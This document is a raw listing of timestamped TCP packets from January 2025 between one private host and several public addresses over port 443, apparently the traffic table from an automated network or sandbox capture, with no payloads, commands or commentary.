Jan 16, 2025 17:16:20.775122881 CET	443	49727	186.64.116.70	192.168.2.7
Jan 16, 2025 17:16:20.775429964 CET	49727	443	192.168.2.7	186.64.116.70
Jan 16, 2025 17:16:20.775460005 CET	443	49727	186.64.116.70	192.168.2.7
Jan 16, 2025 17:16:20.776515007 CET	443	49727	186.64.116.70	192.168.2.7
Jan 16, 2025 17:16:20.776575089 CET	49727	443	192.168.2.7	186.64.116.70
Jan 16, 2025 17:16:20.778574944 CET	49727	443	192.168.2.7	186.64.116.70
Jan 16, 2025 17:16:20.778651953 CET	443	49727	186.64.116.70	192.168.2.7
Jan 16, 2025 17:16:20.779081106 CET	49727	443	192.168.2.7	186.64.116.70
Jan 16, 2025 17:16:20.779092073 CET	443	49727	186.64.116.70	192.168.2.7
Jan 16, 2025 17:16:20.798116922 CET	443	49728	186.64.116.70	192.168.2.7
Jan 16, 2025 17:16:20.798360109 CET	49728	443	192.168.2.7	186.64.116.70
Jan 16, 2025 17:16:20.798379898 CET	443	49728	186.64.116.70	192.168.2.7
Jan 16, 2025 17:16:20.799465895 CET	443	49728	186.64.116.70	192.168.2.7
Jan 16, 2025 17:16:20.799525023 CET	49728	443	192.168.2.7	186.64.116.70
Jan 16, 2025 17:16:20.799870968 CET	49728	443	192.168.2.7	186.64.116.70
Jan 16, 2025 17:16:20.799937963 CET	443	49728	186.64.116.70	192.168.2.7
Jan 16, 2025 17:16:20.824593067 CET	49727	443	192.168.2.7	186.64.116.70
Jan 16, 2025 17:16:20.840167999 CET	49728	443	192.168.2.7	186.64.116.70
Jan 16, 2025 17:16:20.840186119 CET	443	49728	186.64.116.70	192.168.2.7
Jan 16, 2025 17:16:20.887590885 CET	49728	443	192.168.2.7	186.64.116.70
Jan 16, 2025 17:16:21.134514093 CET	443	49727	186.64.116.70	192.168.2.7
Jan 16, 2025 17:16:21.134610891 CET	443	49727	186.64.116.70	192.168.2.7
Jan 16, 2025 17:16:21.134675980 CET	49727	443	192.168.2.7	186.64.116.70
Jan 16, 2025 17:16:21.135112047 CET	49727	443	192.168.2.7	186.64.116.70
Jan 16, 2025 17:16:21.135135889 CET	443	49727	186.64.116.70	192.168.2.7
Jan 16, 2025 17:16:21.150084019 CET	49729	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:21.150111914 CET	443	49729	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:21.150187016 CET	49729	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:21.150466919 CET	49729	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:21.150476933 CET	443	49729	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:21.476572990 CET	49730	443	192.168.2.7	142.250.185.228
Jan 16, 2025 17:16:21.476632118 CET	443	49730	142.250.185.228	192.168.2.7
Jan 16, 2025 17:16:21.476720095 CET	49730	443	192.168.2.7	142.250.185.228
Jan 16, 2025 17:16:21.476921082 CET	49730	443	192.168.2.7	142.250.185.228
Jan 16, 2025 17:16:21.476939917 CET	443	49730	142.250.185.228	192.168.2.7
Jan 16, 2025 17:16:21.679001093 CET	443	49729	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:21.679320097 CET	49729	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:21.679333925 CET	443	49729	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:21.680365086 CET	443	49729	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:21.680419922 CET	49729	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:21.681533098 CET	49729	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:21.681577921 CET	49729	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:21.681590080 CET	443	49729	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:21.681667089 CET	49729	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:21.681675911 CET	443	49729	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:21.681689024 CET	49729	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:21.681715965 CET	49729	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:21.681972027 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:21.681998014 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:21.682060003 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:21.682267904 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:21.682277918 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.123342037 CET	443	49730	142.250.185.228	192.168.2.7
Jan 16, 2025 17:16:22.123727083 CET	49730	443	192.168.2.7	142.250.185.228
Jan 16, 2025 17:16:22.123758078 CET	443	49730	142.250.185.228	192.168.2.7
Jan 16, 2025 17:16:22.124800920 CET	443	49730	142.250.185.228	192.168.2.7
Jan 16, 2025 17:16:22.124876022 CET	49730	443	192.168.2.7	142.250.185.228
Jan 16, 2025 17:16:22.125998020 CET	49730	443	192.168.2.7	142.250.185.228
Jan 16, 2025 17:16:22.126050949 CET	443	49730	142.250.185.228	192.168.2.7
Jan 16, 2025 17:16:22.180160046 CET	49730	443	192.168.2.7	142.250.185.228
Jan 16, 2025 17:16:22.180192947 CET	443	49730	142.250.185.228	192.168.2.7
Jan 16, 2025 17:16:22.180457115 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.180663109 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.180679083 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.181729078 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.181792021 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.182873964 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.182951927 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.183257103 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.183263063 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.220741034 CET	49730	443	192.168.2.7	142.250.185.228
Jan 16, 2025 17:16:22.236612082 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.552295923 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.552356005 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.552391052 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.552422047 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.552448034 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.552457094 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.552467108 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.552479982 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.552515984 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.552529097 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.552571058 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.552608967 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.552613020 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.557928085 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.558033943 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.558062077 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.600183964 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.637022018 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.642980099 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.643014908 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.643045902 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.643069029 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.643078089 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.643086910 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.643127918 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.643151999 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.643162012 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.643457890 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.643502951 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.643507957 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.643747091 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.643781900 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.643790007 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.643795967 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.643835068 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.643838882 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.644543886 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.644599915 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.644603968 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.644996881 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.645029068 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.645046949 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.645051956 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.645091057 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.647279024 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.647370100 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.647418976 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.647423029 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.700464010 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.738323927 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.738393068 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.738418102 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.738555908 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.738579035 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.738615990 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.738621950 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.738675117 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.738698006 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.738715887 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.738720894 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.738754034 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.739655972 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.739887953 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.739933968 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.739938021 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.741264105 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.741300106 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.741321087 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.741327047 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.741337061 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.741358042 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.741384983 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.741389036 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.741426945 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.741610050 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.741651058 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.741795063 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.741837978 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.742583036 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.742623091 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.742630959 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.742635012 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.742661953 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.743360043 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.743407011 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.743444920 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.743489981 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.743493080 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.743527889 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.830312967 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.830446005 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.830455065 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.830465078 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.830526114 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.830526114 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.830532074 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.831012964 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.831108093 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.831111908 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.831149101 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.831792116 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.831828117 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.831852913 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.831856966 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.831897974 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.832566977 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.832645893 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.832652092 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.832655907 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.832684040 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.833586931 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.833631039 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.833631992 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.833641052 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.833662987 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.833741903 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.834125996 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.834173918 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.834178925 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.834213972 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.834263086 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.834304094 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.834906101 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.834955931 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.835114956 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.835158110 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.835848093 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.835899115 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.835958958 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.836004972 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.836774111 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.836821079 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.837508917 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.837546110 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.837568998 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.837573051 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.837584019 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.837610006 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.837614059 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.837631941 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.838376999 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.838424921 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.848570108 CET	49732	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.848608017 CET	443	49732	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.848669052 CET	49732	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.848988056 CET	49732	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.848998070 CET	443	49732	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.849390984 CET	49733	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.849441051 CET	443	49733	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.849492073 CET	49733	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.849744081 CET	49733	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.849755049 CET	443	49733	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:22.849888086 CET	49731	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:22.849904060 CET	443	49731	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:23.316416025 CET	443	49732	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:23.316683054 CET	49732	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:23.316706896 CET	443	49732	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:23.317749977 CET	443	49732	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:23.317819118 CET	49732	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:23.318166018 CET	49732	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:23.318186045 CET	49732	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:23.318233967 CET	49732	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:23.318238974 CET	443	49732	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:23.318290949 CET	49732	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:23.318650961 CET	49735	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:23.318738937 CET	443	49735	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:23.318825960 CET	49735	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:23.319025993 CET	49735	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:23.319037914 CET	443	49735	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:23.346327066 CET	443	49733	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:23.346698999 CET	49733	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:23.346719980 CET	443	49733	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:23.347990990 CET	443	49733	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:23.348071098 CET	49733	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:23.348426104 CET	49733	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:23.348438978 CET	49733	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:23.348484993 CET	49733	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:23.348491907 CET	443	49733	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:23.348548889 CET	49733	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:23.348844051 CET	49736	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:23.348886013 CET	443	49736	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:23.348953009 CET	49736	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:23.349145889 CET	49736	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:23.349162102 CET	443	49736	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:23.814294100 CET	443	49735	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:23.814543009 CET	49735	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:23.814554930 CET	443	49735	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:23.815602064 CET	443	49735	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:23.815673113 CET	49735	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:23.816019058 CET	49735	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:23.816082954 CET	443	49735	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:23.816174984 CET	49735	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:23.816184044 CET	443	49735	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:23.840071917 CET	443	49736	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:23.840317965 CET	49736	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:23.840339899 CET	443	49736	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:23.841392994 CET	443	49736	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:23.841458082 CET	49736	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:23.841797113 CET	49736	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:23.841860056 CET	443	49736	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:23.841943026 CET	49736	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:23.841950893 CET	443	49736	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:23.869671106 CET	49735	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:23.885807991 CET	49736	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:24.200355053 CET	443	49735	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:24.200460911 CET	443	49735	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:24.200524092 CET	49735	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:24.200970888 CET	443	49736	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:24.201124907 CET	443	49736	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:24.201180935 CET	49736	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:24.202303886 CET	49735	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:24.202323914 CET	443	49735	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:24.204977989 CET	49736	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:24.204999924 CET	443	49736	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:24.219578981 CET	49738	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:24.219613075 CET	443	49738	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:24.219671965 CET	49738	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:24.219774008 CET	49739	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:24.219831944 CET	443	49739	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:24.219885111 CET	49739	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:24.220276117 CET	49739	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:24.220298052 CET	443	49739	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:24.220585108 CET	49738	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:24.220604897 CET	443	49738	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:24.448312998 CET	49741	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:24.448374033 CET	443	49741	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:24.448434114 CET	49741	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:24.448709011 CET	49741	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:24.448734999 CET	443	49741	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:24.455450058 CET	49742	443	192.168.2.7	18.245.31.53
Jan 16, 2025 17:16:24.455483913 CET	443	49742	18.245.31.53	192.168.2.7
Jan 16, 2025 17:16:24.455538988 CET	49742	443	192.168.2.7	18.245.31.53
Jan 16, 2025 17:16:24.455766916 CET	49742	443	192.168.2.7	18.245.31.53
Jan 16, 2025 17:16:24.455779076 CET	443	49742	18.245.31.53	192.168.2.7
Jan 16, 2025 17:16:24.703233957 CET	443	49738	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:24.706310987 CET	443	49739	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:24.708487034 CET	49739	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:24.708514929 CET	443	49739	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:24.708647013 CET	49738	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:24.708669901 CET	443	49738	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:24.709739923 CET	443	49739	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:24.709805012 CET	443	49738	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:24.709820986 CET	49739	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:24.709862947 CET	49738	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:24.710134983 CET	49739	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:24.710151911 CET	49739	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:24.710206985 CET	49739	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:24.710212946 CET	443	49739	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:24.710266113 CET	49739	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:24.710517883 CET	49743	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:24.710568905 CET	443	49743	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:24.710634947 CET	49743	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:24.710788965 CET	49738	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:24.710803032 CET	49738	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:24.710840940 CET	49738	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:24.710863113 CET	443	49738	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:24.710907936 CET	49738	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:24.711014986 CET	49744	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:24.711044073 CET	443	49744	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:24.711093903 CET	49744	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:24.711203098 CET	49743	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:24.711234093 CET	443	49743	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:24.711337090 CET	49744	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:24.711349010 CET	443	49744	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:24.941953897 CET	443	49741	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:24.942517042 CET	49741	443	192.168.2.7	104.21.94.195
Jan 16, 2025 17:16:24.942548037 CET	443	49741	104.21.94.195	192.168.2.7
Jan 16, 2025 17:16:24.943804026 CET	443	49741	104.21.94.195	192.168.2.7
